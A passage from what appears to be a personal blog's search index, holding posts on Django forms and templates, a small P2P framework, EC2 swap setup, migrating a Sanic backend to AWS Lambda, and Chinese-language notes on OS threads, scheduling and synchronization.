FORGET !!!!!! }) )\nand this is all about creating your first form.\nBut still, not using it!.\nUsage in views.py\nEvery form is a variable in forms.py Before use it in views.py, make\nsure you have already import it.\nfrom opensource_XX import forms\nAfter this, you can call any form variable in views.py to render in\ntempalte.\nFor example:\nviews.py\nfrom opensource_XX import formsdef login(request): login_form = forms.login() return render(request, 'opensource_XX/templates/login.html', locals())\nlogin.html\n<html> <body> <form method="POST"> {{ login_form.as_p }} <input type="submit" value="Submit"/> </form> </body></html>\nAfter put variable into template html file. Remember put submit\nbutton inside form like:\n<input type="submit" value="Submit"/><input type="clear" value="Clear"/>\nAlso, the method you submit a form effect the way how django view\nfunction process the form result.\n<form method="POST">or<form method="GET">\nVerify a form’s data\nYou can get a request method by calling:\nrequest.method\nIt will return a string like ‘GET’ or ‘POST’\nPut it into a if statement for a further process, like:\nif request.method == 'GET': return render(...)elif request.method == 'POST': # process form data. return render(...)\nWhile you want to process a form, you might get some value from a\nform. Once you make sure this request contains a form and it’s\ndefinition in forms.py.\nif request.method == 'POST': form = forms.login(request.POST)\nBy using the following method, you can easily get value in specific\nfield in a form.\nform.cleaned_data['filed_name']\nFor example:\nGetting account field value:login_form.cleaned_data['account']Getting password field value:login_form.cleaned_data['password']\nFinally, you can verify datas\ndef login(request):try: if request.method == "POST": login_form = forms.login(request.POST) if login_form.is_valid(): account = login_form.cleaned_data['account'] password = login_form.cleaned_data['password'] if account == 'B10517031' and password == 'password': return HttpResponse('login success') else: return HttpResponse('login failed.') else: login_form = forms.login() return render(...)except: error_report = traceback.format_exc() return redner(...)\nOther stuff you might\ninteresting.\nIf you are using some specil filed like GerneralIPAddressField in\ndjango. You can simplly use:\nform.is_valid()\nIt can help you to check some element like “required=True” or IP\nformat … so on.\n\nAdvance template\nWhy we need base for\ntemplates?\nBy using template, we can make pages with same nature bind to one\nsingle file to define it. Maxinumize the flexibilty of whole system.\nBut sometime we may want to merge pages with same feature. And the\nonly way to reach this purpose is to extend another page.\nMake your first base.html\nBase is also a template file. In YOUR application folder’s\n‘templates’ folder:\n~$ cd Opensource/opensource_XX/templates~/Opensource/opensource_XX/templates$ vim base.html\nThis gives you another new html file called base.html\nAnd put follow code into it. If you wish to add any code you want,\njust do so:\n<html> <head> <title>{% block page_title %}YunNet OSC{% endblock %}</title> {% block head_style %}{% endblock%} {% block head_js %}{% endblock %} </head> <body> {% block body_top_js %}{% endblock %} {% block content %}{% endblock %} {% block body_bottom_js %}{% endblock %} </body></html>\nStructure of this base html allowed pages who extends it can: (1)\nHave its own title, and default is ‘YunNet OSC’ (2) Ability to edit meta\nby different page/ (3) Have its own CSS style or JaveScript. (4) Also\nprovide a body top/bottom section to put javascript whom need to be load\nin body.\nExtends a base is very easy. Just add one single line on top.\n{% extends 'base.html' %}\nSo, just simply open another html file called ‘new_index.html’\n{% extends 'base.html' %}{% block page_title %}YunNet OSC - New Index{% endblock %}{% block content %} This is extends base.html test.{% endblock %}\nOf course, remeber to add a new define in views.py and routing in\nurls.py to make sure this page is correctly loaded.\n\nmodels\nWith django default ORM, we can easily control database’s data,\nwithout traditional way to access it. More effective, safty, and\neasy.\nDifferent application can have it own model define data field.\n# System/models.pyfrom django.db import modelsclass system_test(models.Model): name = models.CharField(max_length=20)\nAnd this is a basic model in database a table named ‘system_test’\nwith only single field which is ‘name’ also, this field defaultly has a\nprimary key called ‘pk’, the field has only one paremeter which is\nmax_length.\nFor further model filed to use. you can check the following url: https://docs.djangoproject.com/en/2.0/ref/models/fields/\nEvery time you edit a models.py always comes with a pair of command\nto execute.\n# python manage.py makemigrations# python manage.py migrate\nORM helps developer to construce entire database, before system do\nthe reall change of it. Developer should use makemigrations to commit to\nthe ORM, let ORM organize every table/field whom may effect by this\nchange.\nOnce the ORM checked the migrations is valid. Developer can us\nmigrate to confirm the operation, and let ORM do the migrate job.\nBe advice, this doesn’t mean after makemigrations, ORM can 100%\nmigrate changes. Especially some operation involve with ForiegnKey.\n\nTo Be Continue… (Maybe.\n","categories":["Tutorial"],"tags":["Django","Python"]},{"title":"MaybeP2P(1) - Begin","url":"/2018/05/01/application/maybep2p/MaybeP2P-1/","content":"I thought i can develope my own framework.\nBut i found out that too may people did same thing just like me.\nOops… ## 前言\nMaybeP2P算是一個框架, 恩… 對, 我定位是框架, 啊哈哈哈哈…\n請給我一點自我陶醉的空間XD…\n我們一個專案有很莫名其妙大的架構，然後考量到HA，所以決定把所有的Function都切成Multiprocessing。\n切完Process了之後，當然就要塞給CPU去做分散式處理。\n然後起初的架構，為了便宜行事用了Redis來做為溝通的管道。\n對，沒錯，就是傳說中分散式架構然後又採中心化伺服器來管理的白痴做法…\n（OS：那請問分散式要幹嘛？？？？？？）\n於是把每個Process獨立出來各自溝通的對等架構需求出現，\n接著就蹦，是的.. Maybe we need a p2p. And that’s MaybeP2P.\n野心\n既然要自造輪子，當然就要造一個爆炸複雜的輪子，然後走到哪用到哪，\n最好還可以樓上招樓下，隔壁找對面，大家一起來用。\nAnd this is why i called it a ” FRAMEWORK”.\n起初的設計上是採用TCP Server來做P2P的Host，然後裏面可以跑自己寫的（or\n我寫的Protocol)。\n這個看起來很美好沒錯，實際上它也以我預期的方式運作著，Well..\n除了Timeout的部份我還沒做以外….\n現況（2018.05.01)\n初版（0.0.1)目前實作了v1的經典（ClassicV1)協定，aka 廣播風暴版…\n嚴格來講，這個不太算是對等網路裏面最一開始的協定，其實根本就連協定也稱不上吧…\n第一代的對等網路是具有中心化伺服器來處理路由,\n基本上Peer是做自己的事情沒錯，只不過溝通要透過中心就是。\n要說是對等節點，我覺得也是可啦… 哈哈\n還要弄一個中心化節點去控制路由好麻煩，所以MaybeP2P採的是第二代對等網路架構，\n路由處理是走全網廣播，然後大家處理一堆不關自己的事情的封包請求就飽了，\n這個狀況適合”小而美”的LAN，在LAN當中開廣，有負擔，但是不大。\n拿到大型網路當中，節點跟請求封包的數量會成指數成長。\n所以未來打算實作的是第三代對等網路（採用Kademlia來維護路由）的方式，\n一方面用最低限度的Cost來達到定位特定節點或者資源的算法，\n其實很簡單。\n只要XOR就好了….\n但是礙於當初Peer的TCP\nServer設計上沒有很詳盡的考慮到Timeout的部份，\n我自己還要釐清一下思緒才有辦法改動….\nSo?\n\n現在pip可以下載喔.. 只是我doc還沒寫好….\n啊哈哈哈哈哈…\npip install MaybeP2P\n>>> from peer import Peer\n>>> p = Peer()\n>>> p._initServerSock()\n>>> p.start()\n...\n>>> p.exit()\n>>> ctrl-D\nNote Webs\nKademlia协议原理简介\n易懂分布式 |\nKademlia算法\n聊聊分布式散列表（DHT）的原理——以\nKademlia（Kad） 和 Chord 为例 P2P技术详解(二)：P2P中的NAT穿越(打洞)方案详解\n不为人知的网络编程(七)：如何让不可靠的UDP变的可靠？\n以太坊源码P2P网络及节点发现机制\n[以太坊源代码分析]\nVI. 基于p2p的底层通信(上篇) TCP实现P2P通信、TCP穿越NAT的方法、TCP打洞\nP2P\nProgramming Framework - Python\n","categories":["Application","MaybeP2P"],"tags":["Linux","Python","Python2.7","Python3.5","P2P","peer-to-peer"]},{"title":"Use EBS as Swap at EC2","url":"/2023/07/11/note/AWS/EC2-Swap-With-Launch-Template/","content":"在使用Amazon Linux AMI中的EC2使用EBS作為Swap。 並結合Launch\nTemplate。 \nOpening\nAmazon提供的EC2 optimize Linux預設是沒有開啟Swap的，\n所以需要手動開啟。\nManual\n以手動開啟為例，首先EC2要具備連入能力。\n這邊不多贅述，可以自行搜尋EC2以SSH連入或是SessionManager等。\nCheck Swap\n檢查Swap是否開啟的指令。 $ swapon -sFilename Type Size Used Priority/dev/nvme1n1 partition 10485756 5120 -2\nList block devices\n列出目前所有的Disk以及Partition。 $ lsbskNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTnvme1n1 259:0 0 10G 0 disk [SWAP]nvme0n1 259:1 0 30G 0 disk├─nvme0n1p1 259:2 0 30G 0 part /└─nvme0n1p128 259:3 0 1M 0 part 上圖為兩個EBS\nVolume分別為30G以及10G。 30G做為系統碟掛載在root，10G做為Swap磁區。\nHint: nvme1n1\n構建在Nitro System上的EC2 Instance，其中EBS的Volume會以NVMe block\ndevice的方式掛載在Instance中。[1]\n在EBS指定的磁區名稱會被重新mapping為 /dev/nvme[0-26]n1\n以上段圖例， 我的EBS Volume其實設定為： \n其中 /dev/xvda -> nvme0n1/dev/xvdz -> nvme1n1\n在EC2 Instance內，你可以使用指令來檢查對應nvme裝置的mapping。\n舉例查看 /dev/nvme0n1的名稱： $ sudo /sbin/ebsnvme-id /dev/nvme0n1Volume ID: vol-xxxxxxxxxvda\nmkswap\n以指定裝置設定Swap磁區並開啟Swap。 $ sudo mkswap /dev/nvme1n1mkswap: /dev/nvme1n1: warning: wiping old swap signature.Setting up swapspace version 1, size = 10 GiB (10737414144 bytes)no label, UUID=62c94db1-3dfe-420d-a693-9a14d73ffdef\n$ sudo swapon /dev/nvme1n1\n執行後，再次檢查會得到 $ swapon -sFilename Type Size Used Priority/dev/nvme1n1 partition 10485756 0 -2\n以 top 指令可以查看使用情形： $ toptop - 00:48:24 up 1 day, 16:55, 0 users, load average: 0.00, 0.07, 0.12Tasks: 126 total, 1 running, 84 sleeping, 0 stopped, 0 zombie%Cpu(s): 5.0 us, 2.0 sy, 0.0 ni, 89.6 id, 0.0 wa, 0.0 hi, 0.0 si, 3.5 stKiB Mem : 3976984 total, 368968 free, 1579896 used, 2028120 buff/cacheKiB Swap: 10485756 total, 10485756 free, 0 used. 2168728 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 2924 root 20 0 1595148 47820 29364 S 0.7 1.2 21:18.03 containerd 3373 root 20 0 2054812 111076 53008 S 0.7 2.8 21:00.35 dockerd 4713 root 20 0 713120 9896 6480 S 0.7 0.2 7:02.12 containerd-shim 4193 root 20 0 712864 9096 6092 S 0.3 0.2 0:28.93 containerd-shim ...\nfstab\n寫入開機自動掛載。 $ echo "/dev/nvme1n1 none swap sw 0 0" | tee -a /etc/fstab\nWith Launch Template\n\nTBD\n\nReference\n\nInstance\nstore swap volumes\nAmazon\nEBS and NVMe on Linux instances\n\n","categories":["AWS"],"tags":["AWS","ECS","EC2","EBS"]},{"title":"Migrating python backend to AWS Lambda","url":"/2024/04/16/note/AWS/pyfun-migrate-to-aws-lambda/","content":"\n\nMigrating a Sanic backend from Linode VPC to AWS Lambda.\n\n\n>> [zhTW version] <<\n\n\nOpening\nRecently I want to close my Linode VPC, although it only took me 5\nUSD/mo. But I’m getting lazier to deal with deploying stuffs through\nSSH, The origin design of PyFun did not doing well on deploying, at that\ntime, I don’t even considering about CI/CD. AWS Lambda have 1M quota per\nmonth, which PyFun is very suit of this kind of way to serve service,\nand also let me have chances get back to AWS.\n\nSteps\n\nRefactor PyFun\nBackend\nPrepare IdP & IAM role\nPrepare ECR images\nSetup Lambda with proper CMD\n[TBD] API Gateway\n[TBD] Cloudflare redirect\n[TBD] PyFun\nFrontend point to v2 backend\n\n\nRefactor PyFun Backend\nPyFun is wrote by Sanic, pack as image and push to DockerHub, when\nits time to deploy, I have to SSH into VPC then manually pull the image\nthen run. Late version of PyFun is more worst, I have to\ngit pull in VPC then build the image locally then up,\nDockerHub is become meaningless.\nThis time I decides to refactor a little bit, split to Sanic and\nLambda’s logics. > PyFun is a toy-project, which is working like some\nsort of online judge platform. > Each lesson defines in a single\npython file, whole service is not using any database, it takes GitHub as\na store. > This time, I plan to refactor each .py file\ninto .json, and treat GitHub as a NoSQL database.\nYou can reference these\ncommits about how I apply Lambda.\nAll in all, I split logics to different handler for lambda, extract\nthe event from API Gateway, pack the response format which API Gateway\nneeds, build and push ECR image in GitHub Actions. I guess?\n\nPrepare Idp & IAM role\nCheck this\nand this out. After you setup your Idp\nand role, you can use this instructions from\nAWS, cuz we are just only push to ECR.\nAnd I suggest you can specify the ARN in order to follow the minimum\npermissions principle while setting Policies.\n\nPrepare ECR images\nDockerfile\nHere is the simple Dockerfile, and you can check this out.\nFROM public.ecr.aws/lambda/python:3.12LABEL maintainer=Clooooode<clode@clo5de.info># Copy requirements.txtCOPY requirements-lambda.txt ${LAMBDA_TASK_ROOT}# Copy function codeCOPY manager ${LAMBDA_TASK_ROOT}/managerCOPY stage ${LAMBDA_TASK_ROOT}/stageCOPY utils ${LAMBDA_TASK_ROOT}/utilsCOPY lambda_app.py ${LAMBDA_TASK_ROOT}# Install the specified packagesRUN pip install -r requirements-lambda.txt# Set the CMD to your handler (could also be done as a parameter override outside of the Dockerfile)CMD [ "lambda_app.stage_info_handler" ]\nCMD [ \"lambda_app.stage_info_handler\" ] would be the\ncritical part. Each lambda function will setup(or override) CMD to the\nhandler it wants to execute. and the format of CMD would be\n<file name>.<handler func name>.\nI pack all of the four handlers into same image - you can check the\nfile lambda_app.py - thus, We have to override CMD to the\ngiven function by our own.\nBesides, Lambda provides various of Trigger, at the belows example:\nimport sysdef handler(event, context): return 'Hello from AWS Lambda using Python' + sys.version + '!' parameter named event have different\npossibilities, since the event is pass by different trigger. You can\nmake use of the test event in Lambda console. By pre-creating a test\nevent - yes, you can use template if you want to - you can check the\nactually structure of event parameter.\nI have’nt use context yet, I think it describes the\nwhole invoke chain from API Gateway to Lambda or something like that, I\nwill introduce it next time if there is chances.\nGitHub Actions to push to\nECR\nname: Deploy to ECRon: workflow_dispatch:jobs: build-n-deploy: permissions: id-token: write contents: read runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Configure AWS credentials uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::533267006313:role/PyFun-Backend-GH-Idp-Role aws-region: ap-northeast-1 - name: Login to Amazon ECR id: login-ecr uses: aws-actions/amazon-ecr-login@v2 - name: Build, tag, and push docker image to Amazon ECR env: REGISTRY: ${{ steps.login-ecr.outputs.registry }} REPOSITORY: pyfun-backend IMAGE_TAG: ${{ github.sha }} run: | docker build -t $REGISTRY/$REPOSITORY:$IMAGE_TAG . -f lambda.Dockerfile docker push $REGISTRY/$REPOSITORY:$IMAGE_TAG\npermissions field should be properly setup, otherwise\nAWS credentials would fail.\n\nSetup Lambda with proper CMD\nCreate function\nPyFun have four routes, this time I just simply split these routes\ninto four lambda function. Be aware that the overriding the CMD\nattributes: \nTest event\nAfter creating lambda function, click into it, there is a\nTest tab, you can try it. I will put API Gateway in front\nof my Lambda, so here I choose API Gateway: \nBasically when you are implementing handler function, you can take\nthis test event’s template as reference of event structure.\n\nAPI Gateway\nAPI\nType\nHere I built Regional Rest API for saving budgets. Edge-optimized\ninvolve Cloudfront, which is a budget monster, also PyFun is almost zero\ntraffic. Private requires VPC endpoint, it also cost a lot.\nResource\nJust follows the thought of building a Backend, apply CORS, etc. And\nremember to turn on the Lambda proxy integration, API\nGateway will transmit in coming data as event to lambda function. \nI’ve already return some Access-Allow cross origin\nheaders in lambda_app.py. But POST request will send a\npreflight request which needs cooperate with API Gateway. We need to add\na CORS simulates under the resource which is POST method: \nStage\nThis time I treat this API as version 2, thus the naming here I use\nis v2. \nCustom domain names\nUpload Cloudflare\nCertificate\nMy CDN is Cloudflare, we need to create a CF cert to import into AWS\nACM. \nCreate domain names, API\nmappings\nSetup desire domain, put on ACM certs then create.\n\nBack to configuration, copy the API Gateway domain name,\nwe will setup a CNAME at Cloudflare later. \n\nCloudflare redirect\nCreate a CNAME, then you can try it! \nResponse would encode with base64. \n\nPyFun Frontend point to v2\nbackend\nYou can check this\nout to see what changes in Frontend.\n\nAfter\nI might setup another repository to manage my personal AWS or\nsomething through Terraform. This migration is not perfect, pushing\nimages to ECR still need to manually trigger the GitHub actions, because\nI want to keep it simple at the moment.\nOn the Linode VPC, there is still another service needs to migrate to\nAWS in order to fully remove the VPC. I will survey DynamoDB latter, cuz\nthe service is using MongoDB.\n\nReference\n\n[1 -\nUse IAM roles to connect GitHub Actions to actions in AWS]\n[2 - Creating a role for OIDC]\n[3 - IAM permission for\npushing an image]\n[4 - AWS Lambda\n- Using an AWS base image for Python]\n\n\n\n","categories":["AWS"],"tags":["AWS","GitHub Actions","Lambda","PyFun"]},{"title":"CH4 Multithreaded Programming","url":"/2019/04/25/note/OS/ch4/","content":"可撥，OS教授講話自成一種語言，滷蛋語沒人聽的懂，\n上課的影片備份都是滷蛋，上字幕的人上到崩潰， 看來只好自己腦補PPT內容了。\n 隨意寫，有錯請指正。\nConcurrency vs Paralleism\n並發 以及 並行的比較。\nConcurrency\n並發的概念即為在相同的時間間隔下完成任務。\n任務並不一定要同時執行，但是他們可以被分成交錯執行的小任務。\n\n\nConcurrency\n\n在廚房裏面有一個廚師（Process），理所當然我們知道這個廚師同時只能做一件事情。\n反正我確定他不會左右互博，所以只能做一件事情zz。\n廚師接到了一個訂單需要出一份普羅旺斯嫩春雞佐地中海初榨橄欖油米蘭空運羅勒葉的套餐。\n所以他先把普羅旺斯嫩春雞放進去烤箱（Thread_A）去烤；\n然後再去地中海找橄欖用榨汁器（Thread_B）來榨橄欖油；\n那麼在這個烤以及榨汁的中間，廚師每一個時間點都要確認烤雞烤好沒？油榨夠了沒？\n一旦烤雞烤好了，他就會中斷他現在的工作，然後去把烤雞拿出來，再接著繼續榨油，\n直到雞好了、油也榨夠了、可以準備來炸鹹酥雞（普羅旺斯嫩春雞佐地中海初榨橄欖油米蘭空運羅勒葉）了。\n如果失去了並發性（不眼觀四面、耳聽八方），廚師就得先老實的把雞烤熟了，才可以去榨油。\n否則雞丟著跑去榨油，可能雞就變炭了。\nParallelism\n並行則為任務在相同的時間點被執行。 顧名思義，任務跟任務是平行的。\n\n同樣回到廚房內，這次我們有兩個廚師（Process A and\nB），這次我們就可以把雞給廚師甲去烤、\n油給廚師乙去榨，在同一個時間點內，廚師甲跟乙都在做事情。\nParallelism Type\n\nData Parallelism\n資料被分配給不同的核心，每個核心所做的操作是一樣的。 Ex:\n100個加法被分散到不同的核心去執行。\nTask Parallelism\n線程被分配給不同的核心，每個核心所做的操作式不一樣的。 Ex:\n一台電腦有雙核心，同時玩遊戲又看網頁。\n\nAmdahl’s Law\n快，但是快多少？\nS代表串行的百分率 N則為處理的核心數 \\(SpeedUp <= \\dfrac{1}{S + \\dfrac{1 -\nS}{N}}\\)\nEx: 一個應用程式內75%為平行方法，25%為串行方法。\n從單核心分散至雙核心後，則速度會提升為原本的1.6倍。\nUser thread vs Kernel thread\n\nUser thread\n\n由user-level的threads library來管理。\n優點： 建立、管理成本低。（OS不需介入）\n缺點： OS根本不知道這些線程的存在，一旦線程發生阻塞(Block)，\n則整個Process都會塞住。\nEx: POSIX Pthreads、Windows threads、Java threads\n\nKernel thread\n\n由Kernel來管理。\nEx: Windows、Solaris、Linux、Tru64 UNIX、Mac OS X\n\n\nMultithreading Models\nMany to One\n\n多個User thread被對應到單一一個Kernel thread。\n如果其中一個執行緒阻塞，則整個Kernel thread就塞住。\n在這種模型下，平行（Parallelism）是無法達成的， 因為只有單一個Kernel\nthread在運作，並沒有辦法被分散到其他核心中。\nEx: Solaris Green Threads、GNU Portable Threads。\n\nOne to One\n\n每一個User thread都對應到一個Kernel thread。\n成本超高。\n因為成本超高，所以每一個行程所能建立的線程數量會被限制。\nEx: Windows NT/XP/2000、Linux、Solaris 9 and later\n\nMany to Many\n\n多個User threads被對應到多個Kernel threads中。\n經濟實惠又環保（？）。\n不會因為單一的User thread阻塞而導致整個行程被塞住。\nEx:\n\nSolaris prior to version 9\nWindows NT/2000 with the ThreadFiber package\n\n\nTwo-level (Two-tier)\n\n融合M2M跟O2O的model。\nEx:\n\nIRIX\nHP-UX\nTru64 UNIX\nSolaris 8 and earlier\n\n\nConslusion\n根據線程的類型不同，OS分配資源的結果也會不同。 假設在系統內有Process\nA及B，A當中有3個線程，B則為2個。\n在皆為User thread的狀況之下，\nKernel只知道有兩個行程，所以各自分配到的CPU Time為50% 50%。\n若為Kernel thread， 則每個thread可以得到20%(100% / 5 threads)的CPU\nTime。 其中Process A得到60%(3 * 20%) Process B得到40%(2 * 20%)\n\n","categories":["Note"],"tags":["Note","Operating System"]},{"title":"CH5 Process Scheduling","url":"/2019/04/25/note/OS/ch5/","content":"教授真的是一種不討喜的生物。 今天上課的內容最讓人印象深刻的就是：\n 用印度的種姓制度來比喻Multilevel Queue跟\n伊莉看鋼鐵人好爽。\n這教授完全不行啊。 結論：教授講的都是垃圾…\nBasic Concepts\n\n利用Multiprogramming去儘可能的最大化CPU使用率。\nCPU-I/O Busrt Cycle\n\nCPU Burst以及I/O Burst所組成。\nCPU Burst在I/O Burst之前。\n\n\nCPU Scheduler\n\n\nShort-term shceduler\n\n從ready queue中選擇並分配給其中一個核心。\n\nCPU Scheduling會在下列四個行程狀態的變更中做出決策：\n\nrunning到waiting(非搶佔式): I/O或event wait\nrunning到ready(搶佔式): interrupt\nwaiting到ready(搶佔式): I/O或event completion\nterminates(非搶佔式)\n\nConsideration of preemptive\n\n資料分享（Shared Data）\nKernel Mode與否\n關鍵的作業系統活動時是否會有中斷觸發\n\n\nDispatcher(分配器)\n\nShort-term scheduler選出來的行程給予CPU控制權。\n會調用：\n\nContext switch\nUser mode切換\n\nDispatch latency：從一個行程停止到啟動另外一個行程的時間差。\n\nScheduling Criteria(排程準則)\n\nCPU utilization：讓CPU保持忙碌，愈高愈好。\nThroughput（吞吐量）：每時間單位所完成的執行量，愈高愈好。\nTurnaround time：執行特定行程所需的時間，愈低愈好。\nWaiting time：行程在Ready Queue中的等待時間，愈低愈好。\nResponse\ntime：發出請求時的第一個回應時間差，非指輸出。（Ex:網路IO）愈低愈好。\n\nPriority Scheduling\n\n缺點： 可能會有可撥仔優先度太低，永遠等不到。\n解決方法：Aging，放愈久，讓行程優先度愈高。\n\nRound Robin(RR)\n\nQ（time quantum）\n\n太大 -> FIFO，因為時間夠多，所以進去的一下子就被做完了。\n太小\n\n必須大於Context switch time.\n如果小於Context switch time， 就會導致沒做到什麼，就要context\nswitching了。\n\n\n\nMultilevel Queue\n\n- Ready Queue內部被分做兩個Queue： - Foreground(前景)：互動式、RR。 -\nBackground(背景)：批次、FCFS。 - 必須在佇列間的調度 -\n固定優先權調度（Fixed Priority Scheduling） -\n先處理優先度高的佇列（Ex：前景先，再背景） -\n如果前景佇列有源源不絕的東西可以處理，非常有可能就會餓死（Starvation)。\n- 時間切片（Time Slice) -\n每個佇列會給定特定的CPU時間來給其中的行程來處理。 - 80% 前景 RR, 20%\n背景 FCFS - Reference\nMultilevel Feedback Queue\n\n- 行程可以被移到到各種不同的佇列中。Aging可以用這種方式來實現。 - 特點 -\n搶佔式（可以插隊） - 不公平 - 不會餓死 - 設計複雜 -\n根據以下幾個參數來定義MFQ: - 安排的數量 - 每一個佇列的演算法 -\n升級/降級一個行程的方法 -\n決定當一個行程需要被服務的時候該進入哪一個佇列的方法 -\n有做完的就做完，沒做完的，就被移到下一級優先度的佇列，\n確保不會有一直是最高優先的被處理。\n同時，優先度較低的佇列通常會擁有比較高的Time Quantum。 - Reference\nThread Scheduling\n\nUser thread跟Kernel thread有不同的分別。\n如果有多個線程，則這些線程會被調度，而不是行程。\nM2O跟M2M模型下，Thread\nLibrary會去調度User-level threads在LWP(LightweightProcess)上執行。\n\n也被稱為PCS，因為競爭是在一個行程內。\n一般會由Programmer來透過優先度集合(Priority Set)來完成。\n\nPCS(Process-Contention Scope):\n多個線程在同一個行程內競爭CPU時間。\nSCS(System-Contention Scope):\n線程直接跟系統範圍內的其他線程競爭。\n\nPthread Scheduling\n\nAPI可以在線程建立的時候指定PCS或者SCS\n\nMultiple-Processor\nScheduling\n\nHomogeneous（同質）: CPU長一樣。\nAsymmetric（AMP, 非對稱）:\n把系統要處理的工作進行高度的切割，分配交給專門的處理器執行，\n所以就可以避免重疊的資源存取。 需要特殊的編譯器與作業系統配合。\nSymmetric multiprocessing(SMP, 對稱)：\n使用排程的機制，平均的將工作分配給任一個空閒的處理器執行。\n目前常見。\nProcessor affinity(親和性):\n每次處理器執行完行程工作之後，會殘留資料在處理器中。\n如果下一次的排程將同樣一個行程分配到該處理器上，可以提高執行的效率（減少快取失誤的成本）\n\nLoad Balancing\n\n在SMP之下達到高效率的前提，儘量保持所有的處理器載入。\nLoad Balancing(負載平衡)：儘量保持負載均勻分佈。\nPush migration：定期檢查把過載處理器的工作推送到其他處理器。\nPull\nmigration：閒置的處理器會去拉其他忙碌處理器中等待執行的工作。\n\nMulticore Processors\n\n最近把多個處理器塞到同一個物理晶片上愈來愈潮。\n更快，更少的電力。\n單個核心可運行的線程數量上升。\n\nMemory Stall發生的時候，可以把時間拿去執行其他線程。\n真是太機智了呢！ \n\n\nWindows Scheduling\n\nWindows使用基於優先度的搶佔式調度\n最高優先的線程會下一個執行\n分配器就是調度器\n…\n\nWindows Priority Classes\n不知道在上什麼鬼 = =.. - Default priority is NORMAL - Fixed priority\nis for REALTIME_PRIORITY_CLASS - Quantum expired -> priority lowered,\nbut never lower than base. - wait occurr -> priority highered\nAlgorithm Evaluation\n\nDeterministic modeling\n\n分析型評估\n針對固定的負載去比較各種演算法的表現\n\nQueueing model\n\n描述行程, CPU和I/O的Burst Time的機率\n\n通常式指數性，以均值來描述\n計算平均的吞吐量, 利用率, 等待時間等\n\n電腦系統被描述為伺服器構成的網路，每一個都有存放等待行程的佇列\n\n了解到達率和服務率\n計算利用率, 平均佇列長度, 平均等待時間等\n\n\n\nLittle’s Formula\n$ n: 平均佇列長度\\\\ W: 平均佇列等待時間\\\\\n: 平均佇列到達率\\\\ n = W $\nReference\n[1]\nOS讀書會20170504 [2]\nOperating Systems - CH5 CPU Schedling\n","categories":["Note"],"tags":["Note","Operating System"]},{"title":"CH6 Synchronization","url":"/2019/05/15/note/OS/ch6/","content":"雙二一退學保衛戰。\n\nThe Critical-Section Problem\n\nCritical-Section:\n關鍵區段，指的是存取共用資源的片段程式碼。這些共用資源有無法同時被存取的特性。\nEx. Memory Access, Disk IO.\nSolution\n\nMutual Exclusion(互斥):\n任一個時間點只允許一個行程進入他的Critical-Section。\nProgress:\n\n不想進入Critical-Section的行程，不可參與其他行程進入Critical-Section的決策。\n必須在有限時間內從想進入Critical-Section的行程中挑選一個進入。\n隱含No Deadlock。（有空位就讓想進的人 馬上\n進去）\n\nBounded waiting:\n\n從一個行程提出進入Critical-Section到獲准進入之間的等待時間是有限的。\n如果有n個行程在等待，那麼每個行程最多等待n-1段時間即可進入Critical-Section。\n隱含No starvation。\n\n\nPeterson’s Solution\n\n適合兩個行程。\n假設load以及store兩個方法具有原子性，無法被中斷。\n兩個行程共享兩個變數：\n\nint turn: 決定輪到哪個行程進入Critical-Section\nboolean flag[2]： 旗標代表行程是否準備進入Critical-Section\ndo { flag[i] = true; turn = j; while(flag[j] && turn == j); critical section flag[i] = false; remainder section} while (true);\n\n\nSynchronization Hardware\n\n用Lock來達到保護Critical Region(關鍵區域)的目的。\n單處理器：可以禁用中斷。\n\n當前運行的程式不會被插隊（without preemption）\n通常在多處理器上效率太低, 作業系統不能廣泛的擴展。\n\n當代的機器多提供特殊的原子性指令，意即不會被中斷。 do { acquire lock ciritical section release lock remainder section} while(true); ###\ntest_and_set instruction\n兩行程執行時，在前次行程釋放鎖之前，其他行程都會在while前阻塞。\nDefine boolean test_and_set (boolean *target) { boolean rv = *target; *target = TRUE; return rv:}\nUsage\n\n共享lock變數， 初始值為False\ndo { while (test_and_set(&lock)); /* do nothing */ /* critical section */ lock = false; /* remainder section */} while (true);\n\n\ncompare_and_swap instruction\n\n如果鎖的狀態跟預期的False，行程就可以取得當次執行Critical\nSection的權力，否則就會在while前阻塞。\nDefine int compare_and_swap(int *value, int expected, int new_value) { int temp = *value; if (*value == expected) *value = new_value; return temp;}\nUsage\n\n共享lock變數， 初始值為False\ndo { while (compare_and_swap(&lock, 0, 1) != 0); /* do nothing */ /* critical section */ lock = 0; /* remainder section */} while (true);\n\n\nMutex Locks\n\n前面的方法太複雜，而且通常應用程式的Programmer沒辦法存取。\nOS的設計者會提供軟體工具來解決Critical-Section Problem\nMutex Lock就是最簡單的作法。\nacquire用來取得鎖, release用來釋放鎖。\n\n這兩個方法必須是原子性，才不會被打斷。\n通常會用硬體指令來實作。\n\n但是這個解法必須使用busy waiting：拿到鎖之前，等到海枯石爛。\n\n這個鎖也被稱為Spin Lock\n\n\nacquire() and release()\nacquire() { while (!available); /* busy wait */ available = false;;}release() { available = true;}do { acquire lock critical section release lock remainder section} while (true);\nSemaphores\n\n拿到鎖之前不用等到海枯石爛，但是如果沒有鎖可以拿，還是會等到海枯石爛。\nwait (S) { while (S <= 0); // busy wait S--;}signal (S) { S++;}\n\nUsage\n\nCounting Semaphores: 整數計數器\n\n\n\nBinary Semaphores: 二進位計數器\n\n類似Mutex(邏輯上) P1: S1; signal(synch);P2: wait(synch); S2;\n\n\nSemaphore Implementation\n\n沒人懂這在講什麼鬼…\n必須保證同一個信號內的signal跟wait不會同時在兩個不同的行程中呼叫\n當signal跟wait被放在Critical\nSection中的時候，會變成Critical Section Problem\n現在多使用busy waiting來實作\n\n程式碼少\n但是效率低\n應用程式可能花很多時間在waiting，所以不是很好的方法。\n\n\nSemaphore\nImplementation with no Busy waiting\n\n每一個semaphore都有一個關聯的等待佇列（waiting\nqueue）\n佇列中的每一項都包含有兩個資料元素\n\n數值（integer)\n下一項的指標\n\n兩種操作\n\nblock: 把行程放在適當的等待佇列中\nwakeup: 把行程從等待佇列放到就緒佇列（ready queue）中\ntypedef struct { int value; struct process *list;} semaphore;wait(semaphore *S) { S->value--; if (S->value < 0) { // add this process to S->list; block(); }}signal(semaphore *S) { S->value++; if (S->value <= 0) { // remove a process P from S->list; wakeup(P); }}\n\n\nDeadlock and Starvation\n\nDeadlock 兩個或更多的行程在互相等待各自的資源釋放。 A等B放開鎖，\nB也在等A放開鎖。 